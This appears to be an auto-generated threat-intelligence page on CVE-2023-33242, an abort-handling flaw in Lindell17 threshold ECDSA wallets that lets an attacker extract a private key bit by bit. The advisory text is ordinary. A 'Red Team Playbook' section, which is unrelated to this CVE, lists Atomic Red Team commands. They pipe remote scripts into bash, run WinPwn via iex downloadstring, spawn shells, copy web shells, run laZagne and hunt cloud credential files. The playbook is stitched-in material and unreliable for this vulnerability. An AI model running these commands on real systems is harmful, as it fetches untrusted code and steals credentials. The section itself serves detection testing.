CVE-2023-33242
Overview
This vulnerability is a cryptographic key extraction flaw in implementations of the Lindell17 Threshold Signature Scheme (TSS) for ECDSA wallets. The root cause lies in improper handling of aborts following failed signature attempts, violating the security assumptions of the Lindell17 protocol's formal proof. Specifically, the protocol component responsible for signature generation does not securely manage leakage during aborts, enabling an attacker to infer secret key bits incrementally.
Vulnerability Description
Crypto wallets implementing the Lindell17 TSS protocol might allow an attacker to extract the full ECDSA private key by exfiltrating a single bit in every signature attempt (256 in total) because of not adhering to the paper's security proof's assumption regarding handling aborts after a failed signature.
Impact
An attacker with the ability to trigger signature attempts and observe aborts can extract the full ECDSA private key, enabling complete control over the victim's wallet funds. The attack requires local or network access with at least limited privileges (PR:L) but no user interaction (UI:N). This breach leads to total confidentiality and integrity compromise of cryptographic assets, as reflected by the CVSS vector indicating high confidentiality and integrity impact (C:H/I:H) with no availability impact.
Solution
Remediation involves updating to patched versions of Lindell17 TSS wallet implementations that enforce strict abort handling as per the original protocol's security proof. Fireblocks provides detailed mitigation guidance and proof-of-concept fixes in their advisory at https://www.fireblocks.com/blog/lindell17-abort-vulnerability-technical-report/. Users should apply updates from vendors incorporating these fixes or implement recommended protocol modifications documented in Fireblocks' GitHub repositories to prevent abort-based key leakage.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Lindell17 TSS protocol arises from a critical flaw in the handling of aborts after failed signature attempts. This weakness allows an attacker to extract the full ECDSA private key by exfiltrating a single bit of information during each signature operation. The protocol is designed to facilitate threshold signature schemes, where multiple parties can collaboratively generate and sign messages without revealing their individual private keys. However, the failure to adhere to the security proof's assumptions regarding abort handling creates a significant risk, as it permits the systematic extraction of private key bits through a series of carefully crafted signature requests.
Attack vectors exploiting this vulnerability are particularly insidious. An attacker could initiate a series of signature requests, intentionally causing failures to glean information about the private key. By analyzing the responses from the crypto wallet, the attacker can infer the state of the private key bit by observing whether the signature operation succeeds or fails. Over the course of 256 attempts, the attacker can reconstruct the entire ECDSA private key, effectively compromising the security of the wallet. This method of exploitation is not only feasible but also efficient, as it requires minimal resources and can be executed with little to no prior access to the targeted system.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the Lindell17 TSS protocol for secure transactions. The potential for complete key compromise poses a significant business risk, as attackers could gain unauthorized access to sensitive assets, including cryptocurrencies and other digital valuables. The financial implications of such a breach can be devastating, leading to direct monetary losses, reputational damage, and regulatory repercussions. Furthermore, the trust in the affected crypto wallets and their underlying technology could be severely undermined, resulting in a loss of customer confidence and market share.
To effectively detect and mitigate this vulnerability, organizations must implement a multi-faceted approach. First, it is crucial to conduct a thorough assessment of the cryptographic implementations within their systems, specifically focusing on the Lindell17 TSS protocol. Regular security audits and code reviews can help identify potential weaknesses and ensure adherence to best practices in cryptographic design. Additionally, organizations should consider employing anomaly detection systems that monitor signature request patterns for unusual behaviors indicative of exploitation attempts.
In terms of mitigation, developers should prioritize updating the implementation of the Lindell17 TSS protocol to align with the security proofs outlined in the original paper. This includes refining the abort handling mechanisms to prevent information leakage during failed signature attempts. Furthermore, organizations should educate their teams about the risks associated with cryptographic implementations and promote a culture of security awareness. By proactively addressing this vulnerability and reinforcing their security posture, organizations can better protect themselves against the potential fallout from such exploits.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-33242, reflecting a growing likelihood of exploitation attempts in the near term. Although the 7-day trend remains stable, the overall rise in EPSS suggests heightened attacker interest or improved exploitability conditions, likely influenced by the availability of a well-rated proof-of-concept on public repositories. This development is significant for defenders because it indicates that threat actors may be progressing from theoretical to practical exploitation, increasing the urgency for targeted monitoring and risk management. While the vulnerability’s high severity rating remains unchanged, the elevated EPSS score underscores a subtle shift in the threat landscape, warranting closer attention to Lindell17 TSS protocol implementations and related cryptographic wallet environments. Our telemetry has not yet recorded a marked surge in active exploitation campaigns, but the increased predictive score signals a potential escalation that security teams should anticipate.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lindell17 Project | Lindell17 | N/A |
cpe:2.3:a:lindell17_project:lindell17:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
d0rb/CVE-2023-33242
CVE-2023-33242 PoC
|
d0rb | 4 | 1 | 2023-08-15 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-33242 |
| fireblocks.com |
GitHub CVE
|
https://www.fireblocks.com/blog/lindell17-abort-vulnerability-technical-report/ |
| github.com |
GitHub CVE
|
https://github.com/fireblocks-labs/mpc-ecdsa-attacks-23 |
| github.com |
GitHub CVE
|
https://github.com/fireblocks-labs/zengo-lindell17-exploit-poc |
| eprint.iacr.org |
GitHub CVE
|
https://eprint.iacr.org/2017/552.pdf |